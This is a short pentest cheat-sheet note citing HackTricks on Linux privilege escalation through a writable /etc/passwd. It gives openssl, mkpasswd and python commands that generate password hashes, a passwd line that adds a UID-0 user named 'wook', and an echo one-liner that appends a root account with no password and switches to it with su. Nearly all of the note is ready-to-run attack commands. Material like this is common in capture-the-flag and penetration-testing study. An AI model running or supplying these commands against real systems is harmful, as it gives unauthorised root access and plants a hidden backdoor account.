https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-etcpasswd Generate a password with one of the following commands ```bash #1 openssl passwd -1 -salt wook wook openssl passwd -1 wook #2 mkpasswd -m SHA-512 wook #3 python2 -c 'import crypt; print crypt.crypt("wook", "$6$salt")' ``` ```bash # Then add the user wook and add the generated password wook:$GENERATED_PWD:0:0:wook:/root:/bin/bash # change user to wook su wook ``` Alternatively, you can use the following lines to add a dummy user without a password. ```bash echo 'dummy::0:0::/root:/bin/bash' >> /etc/passwd su - dummy ```